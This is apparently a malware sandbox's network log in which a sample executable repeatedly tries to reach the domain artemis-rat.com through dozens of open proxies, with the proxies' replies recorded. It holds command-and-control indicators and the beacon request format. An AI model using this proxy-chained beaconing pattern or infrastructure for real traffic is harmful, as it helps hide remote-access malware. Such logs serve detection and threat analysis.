Mar 11, 2024 03:30:39.538399935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.5	51562	104.17.62.87	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.539366007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.694029093 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.5	51564	104.25.184.189	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.539884090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.694734097 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.5	51517	68.1.210.163	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.544083118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.5	51518	184.181.217.220	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.552673101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.5	51426	110.43.34.151	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.553085089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.191091061 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.5	51582	104.16.105.15	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.553419113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.707760096 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.5	51580	50.63.12.33	31785	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.558804989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.029817104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.561103106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.701925039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.905159950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.5	51492	173.212.209.49	64309	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.570661068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.5	51498	89.163.157.129	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.570864916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.232964039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.202833891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093144894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.905376911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.701953888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.499191046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.092576981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.5	51443	42.193.58.96	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.571227074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.751040936 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.5	51602	162.159.241.160	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.571238041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.743216038 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.5	51513	47.114.101.57	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.573451996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.879256010 CET	334	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.5	51584	104.23.128.174	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.578043938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.743041992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.5	51620	104.20.179.187	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.580228090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.763217926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.5	51516	94.130.181.59	32770	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.584955931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.129926920 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.5	51429	5.202.191.225	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.602507114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.389202118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.702090979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.045089960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.902420998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.717602015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405213118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.5	51533	217.23.11.194	47152	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.603414059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.899086952 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.5	51462	103.118.44.61	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.628974915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.5	50475	91.211.177.37	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.629168034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.5	51527	8.213.128.90	21025	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.633248091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.963520050 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.5	51640	205.196.184.69	50704	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.634326935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.123589993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.732971907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092703104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.318907976 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.5	51556	72.206.181.123	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.636847019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.5	51509	139.129.162.65	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.682570934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
